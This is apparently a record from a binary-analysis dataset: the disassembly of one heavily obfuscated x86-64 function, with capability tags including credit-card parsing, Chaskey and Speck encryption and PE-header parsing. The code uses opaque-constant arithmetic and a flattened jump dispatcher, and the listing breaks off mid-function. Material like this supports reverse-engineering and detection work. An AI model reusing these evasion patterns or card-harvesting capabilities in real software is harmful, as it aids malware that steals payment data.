Function at 0x1401b37de
Capabilities:
Authenticate hmac
Encode data using base64
Encrypt data using chaskey
Encrypt data using speck
Parse credit card information
Parse pe header

Disassembly:
push rax
pushf
mov eax, 0xf375379a
pushf
not eax
add eax, 0xce8b1a70
xor eax, 0xfcad2a85
rol eax, 0x65
popf
pushf
not eax
add eax, 0xe75aff4c
xor eax, 0xf041f547
rol eax, 0xb
popf
cmp eax, 0x29
jne 0x1401b381b
popf
pop rax
jmp 0x1401b5d35
cmp eax, 0x48
jne 0x1401b382a
popf
pop rax
jmp 0x1401b6eeb
cmp eax, 0x3f
jne 0x1401b3839
popf
pop rax
jmp 0x1401b6ac8
cmp eax, 1
jne 0x1401b3848
popf
pop rax
jmp 0x1401b3e24
cmp eax, 0x4a
jne 0x1401b3857
popf
pop rax
jmp 0x1401b6fc8
cmp eax, 0x1a
jne 0x1401b3866
popf
pop rax
jmp 0x1401b4d47
cmp eax, 0x44
jne 0x1401b3875
popf
pop rax
jmp 0x1401b6d16
cmp eax, 0x31
jne 0x1401b3884
popf
pop rax
jmp 0x1401b6127
cmp eax, 0x40
jne 0x1401b3893
popf
pop rax
jmp 0x1401b6b46
cmp eax, 8
jne 0x1401b38a2
popf
pop rax
jmp 0x1401b42b0
cmp eax, 0x2a
jne 0x1401b38b1
popf
pop rax
jmp 0x1401b5dd9
cmp eax, 0x17
jne 0x1401b38c0
popf
pop rax
jmp 0x1401b4b54
cmp eax, 0x1c
jne 0x1401b38cf
popf
pop rax
jmp 0x1401b4e24
cmp eax, 0x2e
jne 0x1401b38de
popf
pop rax
jmp 0x1401b5fee
cmp eax, 0x4c
jne 0x1401b38ed
popf
pop rax
jmp 0x1401b7060
cmp eax, 0x2b
jne 0x1401b38fc
popf
pop rax
jmp 0x1401b5e6b
cmp eax, 0x1b
jne 0x1401b390b
popf
pop rax
jmp 0x1401b4dec
cmp eax, 0x2d
jne 0x1401b391a
popf
pop rax
jmp 0x1401b5f3b
cmp eax, 0x23
jne 0x1401b3929
popf
pop rax
jmp 0x1401b59ef
cmp eax, 0x25
jne 0x1401b3938
popf
pop rax
jmp 0x1401b5b54
cmp eax, 0x43
jne 0x1401b3947
popf
pop rax
jmp 0x1401b6c6b
cmp eax, 0x13
jne 0x1401b3956
popf
pop rax
jmp 0x1401b48e5
cmp eax, 0x33
jne 0x1401b3965
popf
pop rax
jmp 0x1401b648e
cmp eax, 0x24
jne 0x1401b3974
popf
pop rax
jmp 0x1401b5a9d
cmp eax, 0x1e
jne 0x1401b3983
popf
pop rax
jmp 0x1401b4fa4
cmp eax, 0xc
jne 0x1401b3992
popf
pop rax
jmp 0x1401b44ec
cmp eax, 0x26
jne 0x1401b39a1
popf
pop rax
jmp 0x1401b5c1f
cmp eax, 0x27
jne 0x1401b39b0
popf
pop rax
jmp 0x1401b5c5c
cmp eax, 0x30
jne 0x1401b39bf
popf
pop rax
jmp 0x1401b60c9
cmp eax, 0x10
jne 0x1401b39ce
popf
pop rax
jmp 0x1401b4747
cmp eax, 0x37
jne 0x1401b39dd
popf
pop rax
jmp 0x1401b66e1
cmp eax, 9
jne 0x1401b39ec
popf
pop rax
jmp 0x1401b4320
cmp eax, 0x39
jne 0x1401b39fb
popf
pop rax
jmp 0x1401b679a
cmp eax, 0x16
jne 0x1401b3a0a
popf
pop rax
jmp 0x1401b4b09
cmp eax, 0x3b
jne 0x1401b3a19
popf
pop rax
jmp 0x1401b68dd
cmp eax, 0x4b
jne 0x1401b3a28
popf
pop rax
jmp 0x1401b7014
cmp eax, 0x36
jne 0x1401b3a37
popf
pop rax
jmp 0x1401b6662
cmp eax, 0x14
jne 0x1401b3a46
popf
pop rax
jmp 0x1401b499a
cmp eax, 0x46
jne 0x1401b3a55
popf
pop rax
jmp 0x1401b6e57
cmp eax, 0x3d
jne 0x1401b3a64
popf
pop rax
jmp 0x1401b69cd
cmp eax, 2
jne 0x1401b3a73
popf
pop rax
jmp 0x1401b3ead
cmp eax, 0x47
jne 0x1401b3a82
popf
pop rax
jmp 0x1401b6e8d
cmp eax, 0x41
jne 0x1401b3a91
popf
pop rax
jmp 0x1401b6bd8
cmp eax, 0x11
jne 0x1401b3aa0
popf
pop rax
jmp 0x1401b47a4
cmp eax, 0x35
jne 0x1401b3aaf
popf
pop rax
jmp 0x1401b65e9
cmp eax, 0x3a
jne 0x1401b3abe
popf
pop rax
jmp 0x1401b6826
cmp eax, 0x12
jne 0x1401b3acd
popf
pop rax
jmp 0x1401b4835
cmp eax, 0x21
jne 0x1401b3adc
popf
pop rax
jmp 0x1401b50dd
cmp eax, 0x38
jne 0x1401b3aeb
popf
pop rax
jmp 0x1401b672c
cmp eax, 0xb
jne 0x1401b3afa
popf
pop rax
jmp 0x1401b448e
cmp eax, 0xf
jne 0x1401b3b09
popf
pop rax
jmp 0x1401b4711
cmp eax, 0x15
jne 0x1401b3b18
popf
pop rax
jmp 0x1401b4a64
cmp eax, 5
jne 0x1401b3b27
popf
pop rax
jmp 0x1401b413d
cmp eax, 6
jne 0x1401b3b36
popf
pop rax
jmp 0x1401b41e2
cmp eax, 0x22
jne 0x1401b3b45
popf
pop rax
jmp 0x1401b5130
cmp eax, 0x49
jne 0x1401b3b54
popf
pop rax
jmp 0x1401b6f7c
cmp eax, 0x1f
jne 0x1401b3b63
popf
pop rax
jmp 0x1401b5049
cmp eax, 4
jne 0x1401b3b72
popf
pop rax
jmp 0x1401b4086
cmp eax, 0x2f
jne 0x1401b3b81
popf
pop rax
jmp 0x1401b606d
cmp eax, 0x4d
jne 0x1401b3b90
popf
pop rax
jmp 0x1401b70bf
cmp eax, 0x3e
jne 0x1401b3b9f
popf
pop rax
jmp 0x1401b6a1a
cmp eax, 0x45
jne 0x1401b3bae
popf
pop rax
jmp 0x1401b6db6
cmp eax, 0x2c
jne 0x1401b3bbd
popf
pop rax
jmp 0x1401b5eb6
cmp eax, 3
jne 0x1401b3bcc
popf
pop rax
jmp 0x1401b3f50
cmp eax, 0x19
jne 0x1401b3bdb
popf
pop rax
jmp 0x1401b4ca3
cmp eax, 0x1d
jne 0x1401b3bea
popf
pop rax
jmp 0x1401b4ef1
cmp eax, 0x34
jne 0x1401b3bf9
popf
pop rax
jmp 0x1401b6523
cmp eax, 0x32
jne 0x1401b3c08
popf
pop rax
jmp 0x1401b61a4
cmp eax, 0xe
jne 0x1401b3c17
popf
pop rax
jmp 0x1401b4659
cmp eax, 0x42
jne 0x1401b3c26
popf
pop rax
jmp 0x1401b6c36
cmp eax, 7
jne 0x1401b3c35
popf
pop rax
jmp 0x1401b421a
cmp eax, 0x20
jne 0x1401b3c44
popf
pop rax
jmp 0x1401b5092
cmp eax, 0
jne 0x1401b3c53
popf
pop rax
jmp 0x1401b3c9e
cmp eax, 0x3c
jne 0x1401b3c62
popf
pop rax
jmp 0x1401b6995
cmp eax, 0xd
jne 0x1401b3c71
popf
pop rax
jmp 0x1401b45b9
cmp eax, 0xa
jne 0x1401b3c80
popf
pop rax
jmp 0x1401b43c3
cmp eax, 0x18
jne 0x1401b3c8f
popf
pop rax
jmp 0x1401b4bfe
cmp eax, 0x28
jne 0x1401b3c9e
popf
pop rax
jmp 0x1401b5d1e
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x30]
sub rsp, 0x130
mov rax, qword [0x14010a0d0]
xor rax, rsp
mov qword [rbp + 0x28], rax
mov rbx, rdx
mov qword [rsp + 0x68], rdx
mov rsi, rcx
mov qword [rsp + 0x40], rcx
mov qword [rbp], rdx
xor r15d, r15d
rdtsc
shl rdx, 0x20
or rax, rdx
mov rcx, rax
call fcn.14014cc2e
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsi + 0x38], xmm0
movups xmmword [rsi + 0x48], xmm0
movups xmmword [rsi + 0x58], xmm0
movups xmmword [rsi + 0x68], xmm0
movups xmmword [rsi + 0x78], xmm0
movups xmmword [rsi + 0x88], xmm0
mov dword [rsi + 0x98], eax
call fcn.14029e3e6
mov r8d, eax
mov eax, 0x929c7375
pushf
not eax
add eax, 0xd9a409b5
xor eax, 0xd744bbd2
rol eax, 0xe3
popf
pushf
not eax
add eax, 0xcd33c7b2
xor eax, 0xc835ae1a
rol eax, 0x63
popf
pushf
not eax
add eax, 0x8cf42165
xor eax, 0xbfb8a0a4
rol eax, 0xd7
popf
imul r8d
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
push rcx
not ecx
sub edx, ecx
pop rcx
sub edx, 1
lea ecx, [rdx + rdx*4]
shl ecx, 2
sub r8d, ecx
add r8d, 0xa
movsxd r14, r8d
test r8d, r8d
jle 0x1401b3dde
push rax
pushf
mov eax, 0xee99deab
pushf
not eax
add eax, 0xaef02f8f
xor eax, 0xa3057e7e
rol eax, 0x1b
popf
pushf
not eax
add eax, 0xb6244e70
xor eax, 0xa25492f4
rol eax, 0x78
popf
pushf
not eax
add eax, 0x89aabf83
xor eax, 0xa646969d
rol eax, 0x9c
popf
pushf
not eax
add eax, 0xdc48def6
xor eax, 0xbe805fa9
rol eax, 0x6d
popf
jmp 0x1401b380c
push rax
pushf
mov eax, 0x62926fb3
pushf
not eax
add eax, 0x8554e17e
xor eax, 0x87318b3f
rol eax, 0x76
popf
pushf
not eax
add eax, 0xc5dc1c85
xor eax, 0xb71ce852
rol eax, 0x63
popf
pushf
not eax
add eax, 0xeee913fe
xor eax, 0xf3755554
rol eax, 0x7e
popf
jmp 0x1401b380c
mov edi, r15d
movabs r12, 0x4ec4e9c401454e9f
pushf
not r12
add r12, 0x752d4506
xor r12, 0x6dd4875c
rol r12, 0x72
popf
pushf
not r12
add r12, 0x58b361cf
xor r12, 0x4ef9fab0
rol r12, 0xe
popf
lea r13, [0x1b1d042b2]
pushf
sub r13, 0x71c0c1c2
popf
nop dword [rax + rax]
push rax
pushf
mov eax, 0x2b32d313
pushf
not eax
add eax, 0xbd6c93f9
xor eax, 0xcbc24587
rol eax, 0xe9
popf
pushf
not eax
add eax, 0xc39b4aed
xor eax, 0xcc908679
rol eax, 0xdb
popf
jmp 0x1401b380c
call fcn.14029e3e6
movsxd rcx, eax
mov rax, r12
mul rcx
shr rdx, 4
imul rax, rdx, 0x34
sub rcx, rax
movzx eax, byte [rcx + r13]
mov byte [rsi + rdi + 0x38], al
inc rdi
cmp rdi, r14
jl 0x1401b3f1d
push rax
pushf
mov eax, 0xb70fec10
pushf
not eax
add eax, 0xb7bccc06
xor eax, 0xac6fa881
rol eax, 0xbc
popf
pushf
not eax
add eax, 0xa47293d9
xor eax, 0x884aeaba
rol eax, 0x4c
popf
pushf
not eax
add eax, 0xbe574a28
xor eax, 0xf2e80d09
rol eax, 0x71
popf
jmp 0x1401b380c
push rax
pushf
mov eax, 0x82020405
pushf
not eax
add eax, 0xe1afa2bf
xor eax, 0xca9b9e75
rol eax, 0x88
popf
pushf
not eax
add eax, 0xd6971bd3
xor eax, 0xa0965f3d
rol eax, 0x35
popf
jmp 0x1401b380c
lea rdx, [rbp - 0x20]
mov rcx, rsi
call fcn.1401b2116
nop
mov r8d, 0x51fc0577
pushf
not r8d
add r8d, 0xf815e33d
xor r8d, 0xa8b52b2e
rol r8d, 0x10
popf
pushf
not r8d
add r8d, 0xcad9d5ef
xor r8d, 0xd3eee742
rol r8d, 0xf5
popf
lea rdx, [0x1bb4a8a10]
pushf
sub rdx, 0x7b3b0358
popf
mov rcx, rax
call fcn.1402115cc
xorps xmm0, xmm0
movups xmmword [rbp + 8], xmm0
mov qword [rbp + 0x18], r15
mov qword [rbp + 0x20], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp + 8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x18], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 7
mov word [rax], r15w
mov rdx, qword [rbp - 8]
cmp rdx, 8
jb 0x1401b402d
push rax
pushf
mov eax, 0x144ceec7
pushf
not eax
add eax, 0xfcca2656
xor eax, 0xf971933a
rol eax, 0x53
popf
pushf
not eax
add eax, 0xd958418f
xor eax, 0xda4bb740
rol eax, 0x3d
popf
pushf
not eax
add eax, 0xd887f138
xor eax, 0xeb486f6a
rol eax, 0x24
popf
jmp 0x1401b380c
push rax
pushf
mov eax, 0x41f4cf73
pushf
not eax
add eax, 0x855bbff2
xor eax, 0xeeb110e3
rol eax, 9
popf
pushf
not eax
add eax, 0xc7ddb724
xor eax, 0x93c1f619
rol eax, 0xc4
popf
pushf
not eax
add eax, 0xeddb87cf
xor eax, 0x9f2bf36d
rol eax, 0x28
popf
pushf
not eax
add eax, 0xabf649a8
xor eax, 0x829c6df6
rol eax, 0x1f
popf
jmp 0x1401b380c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401b40f7
push rax
pushf
mov eax, 0x8c182957
pushf
not eax
add eax, 0xa894b881
xor eax, 0xa6c6db5d
rol eax, 0x44
popf
pushf
not eax
add eax, 0xbcccfb14
xor eax, 0xfc4e7a46
rol eax, 0xe3
popf
pushf
not eax
add eax, 0xb4eafd66
xor eax, 0x9f3206cf
rol eax, 0x6c
popf
pushf
not eax
add eax, 0x9639c116
xor eax, 0xaad78bab
rol eax, 0x75
popf
jmp 0x1401b380c
push rax
pushf
mov eax, 0x1bc25957
pushf
not eax
add eax, 0xbc97b53b
xor eax, 0x9602231e
rol eax, 0xfe
popf
pushf
not eax
add eax, 0xf35cd0fa
xor eax, 0x93bf36c6
rol eax, 0x88
popf
pushf
not eax
add eax, 0xf497c650
xor eax, 0xdad38a19
rol eax, 0x73
popf
jmp 0x1401b380c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401b41af
push rax
pushf
mov eax, 0x5e6e650f
pushf
not eax
add eax, 0xd018f920
xor eax, 0xc564940f
rol eax, 0x98
popf
pushf
not eax
add eax, 0x91988d9c
xor eax, 0xc93d0983
rol eax, 5
popf
pushf
not eax
add eax, 0x9cf51d86
xor eax, 0x8a1b9753
rol eax, 0x5b
popf
pushf
not eax
add eax, 0x9edeecf2
xor eax, 0xb685be88
rol eax, 0x91
popf
jmp 0x1401b380c
push rax
pushf
mov eax, 0xa027cf1d
pushf
not eax
add eax, 0xc4506e1d
xor eax, 0xf1032411
rol eax, 0xa8
popf
pushf
not eax
add eax, 0xf8cb2c27
xor eax, 0xcd35bd51
rol eax, 0x71
popf
jmp 0x1401b380c
call fcn.14021a52b
push rax
pushf
mov eax, 0x97773c89
pushf
not eax
add eax, 0x84a99fe7
xor eax, 0xd34c43a5
rol eax, 2
popf
pushf
not eax
add eax, 0xde4b3174
xor eax, 0xe592ad93
rol eax, 0xa
popf
jmp 0x1401b380c
movdqa xmm0, xmmword [0x1400ff1f0]
movdqu xmmword [rbp - 0x10], xmm0
mov word [rbp - 0x20], r15w
cmp qword [rbp + 0x18], 0
jne 0x1401b427d
push rax
pushf
mov eax, 0xfbcdcfdb
pushf
not eax
add eax, 0xa95fa77a
xor eax, 0xfaa25c7d
rol eax, 0x14
popf
pushf
not eax
add eax, 0xe94f5e58
xor eax, 0xc1b402f0
rol eax, 0xb9
popf
pushf
not eax
add eax, 0xa6cddf79
xor eax, 0xc6f883e5
rol eax, 0x3d
popf
jmp 0x1401b380c
push rax
pushf
mov eax, 0xd01a57bb
pushf
not eax
add eax, 0xd4b3f6be
xor eax, 0x8130d1ec
rol eax, 0x27
popf
pushf
not eax
add eax, 0xd3cf69f4
xor eax, 0xff2372b1
rol eax, 0x92
popf
jmp 0x1401b380c
mov rdx, qword [rbp + 0x20]
cmp rdx, 8
jb 0x1401b42ed
push rax
pushf
mov eax, 0x7e35f354
pushf
not eax
add eax, 0xb87155d0
xor eax, 0xc02f290d
rol eax, 0xda
popf
pushf
not eax
add eax, 0xc0b8cf3c
xor eax, 0xe4d4fe0e
rol eax, 0xb1
popf
jmp 0x1401b380c
push rax
pushf
mov eax, 0xead50f0
pushf
not eax
add eax, 0xac802c75
xor eax, 0x914d669f
rol eax, 0x3f
popf
pushf
not eax
add eax, 0x816be16c
xor eax, 0xf81c02de
rol eax, 0x2a
popf
jmp 0x1401b380c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 8]
cmp rdx, 0x1000
mov rax, rcx
jb 0x1401b4390
push rax
pushf
mov eax, 0xccaf041c
pushf
not eax
add eax, 0xae178e04
xor eax, 0xe00920ec
rol eax, 0xfc
popf
pushf
not eax
add eax, 0x92916c21
xor eax, 0x9c55a168
rol eax, 0x8d
popf
pushf
not eax
add eax, 0xdb937d37
xor eax, 0x8026b9e4
rol eax, 0x92
popf
pushf
not eax
add eax, 0xd39a0a10
xor eax, 0x814414c1
rol eax, 1
popf
jmp 0x1401b380c
push rax
pushf
mov eax, 0xf21ea87b
pushf
not eax
add eax, 0xa00aa92b
xor eax, 0x9f8da622
rol eax, 9
popf
pushf
not eax
add eax, 0xadf7b8d6
xor eax, 0xeaabfe71
rol eax, 0xb3
popf
jmp 0x1401b380c
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401b4435
push rax
pushf
mov eax, 0x1caf719e
pushf
not eax
add eax, 0xe3f98702
xor eax, 0xfba49efe
rol eax, 0x9a
popf
pushf
not eax
add eax, 0xaa24fcd2
xor eax, 0xf8f15f77
rol eax, 0x36
popf
pushf
not eax
add eax, 0xd18398f1
xor eax, 0xa809ee87
rol eax, 0xbb
popf
pushf
not eax
add eax, 0xcfa97fff
xor eax, 0xd806b1ce
rol eax, 0x61
popf
jmp 0x1401b380c
push rax
pushf
mov eax, 0xcf6d2619
pushf
not eax
add eax, 0xcea9acff
xor eax, 0xb9ed07d5
rol eax, 0x13
popf
pushf
not eax
add eax, 0xc1e1effa
xor eax, 0xd968e216
rol eax, 0xb9
popf
pushf
not eax
add eax, 0x9ef86550
xor eax, 0xaf880091
rol eax, 0xc3
popf
pushf
not eax
add eax, 0xc692d09c
xor eax, 0xc8a32049
rol eax, 0x22
popf
jmp 0x1401b380c
call fcn.14021a52b
push rax
pushf
mov eax, 0x82c8ea30
pushf
not eax
add eax, 0x94de20ef
xor eax, 0xcb9ef72c
rol eax, 0xb2
popf
pushf
not eax
add eax, 0xb6aa0be8
xor eax, 0xff6f7d75
rol eax, 0x9f
popf
pushf
not eax
add eax, 0xa299a911
xor eax, 0xa5fb600b
rol eax, 0x2a
popf
pushf
not eax
add eax, 0x89f62e6d
xor eax, 0x9a83a8fd
rol eax, 0xa0
popf
jmp 0x1401b380c
mov word [rbp + 8], r15w
mov qword [rbp + 0x20], 7
mov qword [rbp + 0x18], r15
mov rdx, qword [rbx + 0x18]
cmp rdx, 8
jb 0x1401b4560
push rax
pushf
mov eax, 0xa92a0675
pushf
not eax
add eax, 0xd08edfbf
xor eax, 0xba13eb03
rol eax, 0x99
popf
pushf
not eax
add eax, 0xa7b3d610
xor eax, 0xf95ab0fd
rol eax, 0x85
popf
pushf
not eax
add eax, 0xdf05a30f
xor eax, 0xd56d4126
rol eax, 0x80
popf
pushf
not eax
add eax, 0xa5e45d07
xor eax, 0xf60c633f
rol eax, 0xbc
popf
jmp 0x1401b380c
push rax
pushf
mov eax, 0x4d1f18b5
pushf
not eax
add eax, 0xa90123dd
xor eax, 0xe24fbe14
rol eax, 0xc1
popf
pushf
not eax
add eax, 0x953b1ea9
xor eax, 0x9a742979
rol eax, 0xcf
popf
pushf
not eax
add eax, 0xe3e918df
xor eax, 0xde7e6fe4
rol eax, 0xbd
popf
pushf
not eax
add eax, 0xaf5e1389
xor eax, 0xf5f7b8fa
rol eax, 0x80
popf
jmp 0x1401b380c
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
mov rcx, qword [rbx]
jb 0x1401b4613
push rax
pushf
mov eax, 0xd8728f57
pushf
not eax
add eax, 0xf3b90825
xor eax, 0x8f38f57d
rol eax, 0x18
popf
pushf
not eax
add eax, 0xfa13713c
xor eax, 0xc92ee07d
rol eax, 0xbf
popf
pushf
not eax
add eax, 0xbe505e7b
xor eax, 0xfe2855f1
rol eax, 0x1c
popf
jmp 0x1401b380c
push rax
pushf
mov eax, 0xcb495f28
pushf
not eax
add eax, 0xc3b2b981
xor eax, 0x880c3337
rol eax, 0x1e
popf
pushf
not eax
add eax, 0xc6442f04
xor eax, 0xba9f0061
rol eax, 0x4f
popf
pushf
not eax
add eax, 0xe5efc3ae
xor eax, 0xfb8b0b53
rol eax, 0x78
popf
jmp 0x1401b380c
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1401b46b8
push rax
pushf
mov eax, 0xb8879f49
pushf
not eax
add eax, 0xde774086
xor eax, 0xfa88aa8f
rol eax, 0x16
popf
pushf
not eax
add eax, 0x8591d560
xor eax, 0x9a7e68e6
rol eax, 0x7a
popf
pushf
not eax
add eax, 0x85d92197
xor eax, 0x99ca0349
rol eax, 0xb1
popf
jmp 0x1401b380c
push rax
pushf
mov eax, 0xb39bf4ca
pushf
not eax
add eax, 0xcac35d7f
xor eax, 0xee659190
rol eax, 0xf2
popf
pushf
not eax
add eax, 0xfebd8ef7
xor eax, 0xd17c1bf2
rol eax, 0x17
popf
pushf
not eax
add eax, 0x8a8e7db1
xor eax, 0xb9eb48d9
rol eax, 0xab
popf
pushf
not eax
add eax, 0xe52fcce6
xor eax, 0xc97756c3
rol eax, 0x6e
popf
jmp 0x1401b380c
mov rcx, r8
push rax
pushf
mov eax, 0x470f6634
pushf
not eax
add eax, 0x83b727fa
xor eax, 0xe4f5f453
rol eax, 0x51
popf
pushf
not eax
add eax, 0xfd69ed0a
xor eax, 0x933c3c65
rol eax, 0x2c
popf
jmp 0x1401b380c
call fcn.14021a52b
push rax
pushf
mov eax, 0xb0edc1a
pushf
not eax
add eax, 0xc99fa766
xor eax, 0xbb4dd36a
rol eax, 0xa7
popf
pushf
not eax
add eax, 0xcab6051e
xor eax, 0x9bab231e
rol eax, 0x81
popf
pushf
not eax
add eax, 0xc94d9d8d
xor eax, 0xff57fe7c
rol eax, 0xbe
popf
pushf
not eax
add eax, 0xe8c16bcb
xor eax, 0xb77d6783
rol eax, 1
popf
jmp 0x1401b380c
mov qword [rbx + 0x10], r15
mov word [rbx], r15w
mov eax, 0xc3bcded6
pushf
not eax
add eax, 0xd10f9aaa
xor eax, 0x9939cdf1
rol eax, 0x2b
popf
pushf
not eax
add eax, 0xe87531a7
xor eax, 0x8cc41d73
rol eax, 0xda
popf
jmp 0x1401b6ef4
lea rcx, [rbp + 8]
cmp qword [rbp + 0x20], 8
cmovae rcx, qword [rbp + 8]
call fcn.14033db7b
lea rcx, [rbp + 8]
call fcn.1402c625e
test al, al
je 0x1401b48b2
push rax
pushf
mov eax, 0x473d4025
pushf
not eax
add eax, 0xbd87e867
xor eax, 0xc2eae678
rol eax, 0xc
popf
pushf
not eax
add eax, 0xfbe17910
xor eax, 0x8f967507
rol eax, 0xb1
popf
pushf
not eax
add eax, 0xbde533bd
xor eax, 0xf8601ce6
rol eax, 0xf9
popf
pushf
not eax
add eax, 0x9f96eb90
xor eax, 0x8b6eead7
rol eax, 0x28
popf
jmp 0x1401b380c
push rax
pushf
mov eax, 0x3dbc60f4
pushf
not eax
add eax, 0xda913b25
xor eax, 0xa39ff763
rol eax, 0xc3
popf
pushf
not eax
add eax, 0x8a4b24b6
xor eax, 0x8ef1ba1c
rol eax, 0xb
popf
jmp 0x1401b380c
lea rdx, [rbp - 0x40]
mov rcx, rsi
call fcn.140345fa4
nop
lea r8, [rbp + 8]
mov rdx, rax
mov rcx, rsi
call fcn.1401c1e4b
mov dword [rsi + 8], eax
mov rdx, qword [rbp - 0x28]
cmp rdx, 8
jb 0x1401b4967
push rax
pushf
mov eax, 0x8e563cde
pushf
not eax
add eax, 0x985f83b9
xor eax, 0xdb03a754
rol eax, 0x1b
popf
pushf
not eax
add eax, 0x851c8fa0
xor eax, 0xb2c184a9
rol eax, 0x11
popf
pushf
not eax
add eax, 0xef082573
xor eax, 0xfd3411c9
rol eax, 0x33
popf
pushf
not eax
add eax, 0xab50b135
xor eax, 0xc2dc535f
rol eax, 0x1d
popf
jmp 0x1401b380c
push rax
pushf
mov eax, 0x435596fb
pushf
not eax
add eax, 0xf1c1eb8a
xor eax, 0x8264d640
rol eax, 0x58
popf
pushf
not eax
add eax, 0x948a5d66
xor eax, 0xc64954e3
rol eax, 0xf0
popf
jmp 0x1401b380c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401b4a0b
push rax
pushf
mov eax, 0x9105de6b
pushf
not eax
add eax, 0x9c483ed0
xor eax, 0xfa883174
rol eax, 0xfd
popf
pushf
not eax
add eax, 0xb5211652
xor eax, 0xf0cb5a9a
rol eax, 0x21
popf
pushf
not eax
add eax, 0xa78f305e
xor eax, 0xb06c1a28
rol eax, 0xea
popf
pushf
not eax
add eax, 0xa8fe68bf
xor eax, 0xe89afb11
rol eax, 0xe5
popf
jmp 0x1401b380c
push rax
pushf
mov eax, 0x2f0b27d7
pushf
not eax
add eax, 0xb1d622db
xor eax, 0xf2aceddf
rol eax, 0x94
popf
pushf
not eax
add eax, 0xe57fa725
xor eax, 0xa1b56557
rol eax, 0x70
popf
pushf
not eax
add eax, 0xcffb02d6
xor eax, 0xec4ccbb7
rol eax, 0x51
popf
pushf
not eax
add eax, 0xc8c945ea
xor eax, 0xf8a97994
rol eax, 0xc
popf
jmp 0x1401b380c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401b4ab0
push rax
pushf
mov eax, 0x6de099c1
pushf
not eax
add eax, 0x84ef8592
xor eax, 0xf4d1b034
rol eax, 0x66
popf
pushf
not eax
add eax, 0xe76ab354
xor eax, 0xef93bf9b
rol eax, 0x7a
popf
jmp 0x1401b380c
push rax
pushf
mov eax, 0xd1e439e5
pushf
not eax
add eax, 0x9a8c4beb
xor eax, 0xba7ef389
rol eax, 0x8f
popf
pushf
not eax
add eax, 0xea300dee
xor eax, 0xaaa256c7
rol eax, 0x1d
popf
pushf
not eax
add eax, 0x90eeac7e
xor eax, 0xe6af4645
rol eax, 0xc9
popf
pushf
not eax
add eax, 0xb03d1fe7
xor eax, 0xfb483eb5
rol eax, 0x3e
popf
jmp 0x1401b380c
call fcn.14021a52b
push rax
pushf
mov eax, 0x6139014a
pushf
not eax
add eax, 0xa96c1b78
xor eax, 0xfcdd795e
rol eax, 0xe3
popf
pushf
not eax
add eax, 0xf46d356f
xor eax, 0xb3652f8a
rol eax, 0x35
popf
pushf
not eax
add eax, 0x85578c51
xor eax, 0xb8a7986a
rol eax, 0x2c
popf
jmp 0x1401b380c
mov edi, dword [rsi + 8]
test edi, edi
jns 0x1401b4bb8
push rax
pushf
mov eax, 0xa6c31b99
pushf
not eax
add eax, 0xd0f6878a
xor eax, 0xd7cd3919
rol eax, 0x3e
popf
pushf
not eax
add eax, 0xe48ad270
xor eax, 0xc0a51e66
rol eax, 0xfc
popf
pushf
not eax
add eax, 0xa0b9ed82
xor eax, 0xf0f369ea
rol eax, 0x8f
popf
pushf
not eax
add eax, 0xb3e43fc2
xor eax, 0x828cf473
rol eax, 0xc0
popf
jmp 0x1401b380c
push rax
pushf
mov eax, 0xeb039bb9
pushf
not eax
add eax, 0xdb836da1
xor eax, 0xaa6bf8b0
rol eax, 0x6d
popf
pushf
not eax
add eax, 0xa2fbd293
xor eax, 0xf000c1e7
rol eax, 0xbf
popf
pushf
not eax
add eax, 0xda50c28c
xor eax, 0xe278af30
rol eax, 0x6d
popf
jmp 0x1401b380c
mov rax, qword gs:[0x30]
mov dword [rax + 0x1250], edi
mov rdx, qword [rbp + 0x20]
cmp rdx, 8
jb 0x1401b4c4a
push rax
pushf
mov eax, 0x5f9f6ea5
pushf
not eax
add eax, 0xf86f4249
xor eax, 0xf893fd25
rol eax, 4
popf
pushf
not eax
add eax, 0xa271ca9e
xor eax, 0x9cae2a37
rol eax, 0x75
popf
jmp 0x1401b380c
push rax
pushf
mov eax, 0xae54a017
pushf
not eax
add eax, 0xf2748ca8
xor eax, 0xffa7f5b9
rol eax, 0xdd
popf
pushf
not eax
add eax, 0xcc34776b
xor eax, 0xe4e07cc1
rol eax, 0x71
popf
pushf
not eax
add eax, 0xf460891a
xor eax, 0xe17f3f2f
rol eax, 0xcd
popf
pushf
not eax
add eax, 0xfb0e49d7
xor eax, 0xe8218991
rol eax, 0x14
popf
jmp 0x1401b380c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401b4d14
push rax
pushf
mov eax, 0x8d6c10d1
pushf
not eax
add eax, 0xefaf5f91
xor eax, 0xb90b9d27
rol eax, 0xaa
popf
pushf
not eax
add eax, 0xfba5b72e
xor eax, 0xbd2a554f
rol eax, 0xf5
popf
pushf
not eax
add eax, 0xbf68fc79
xor eax, 0xa339e506
rol eax, 0x1f
popf
pushf
not eax
add eax, 0xd1d5bb08
xor eax, 0xaab46618
rol eax, 0x32
popf
jmp 0x1401b380c
push rax
pushf
mov eax, 0xe4782f95
pushf
not eax
add eax, 0x8766d62a
xor eax, 0x8231f097
rol eax, 0x15
popf
pushf
not eax
add eax, 0xf3c399f1
xor eax, 0xf35f7e00
rol eax, 2
popf
jmp 0x1401b380c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401b4da6
push rax
pushf
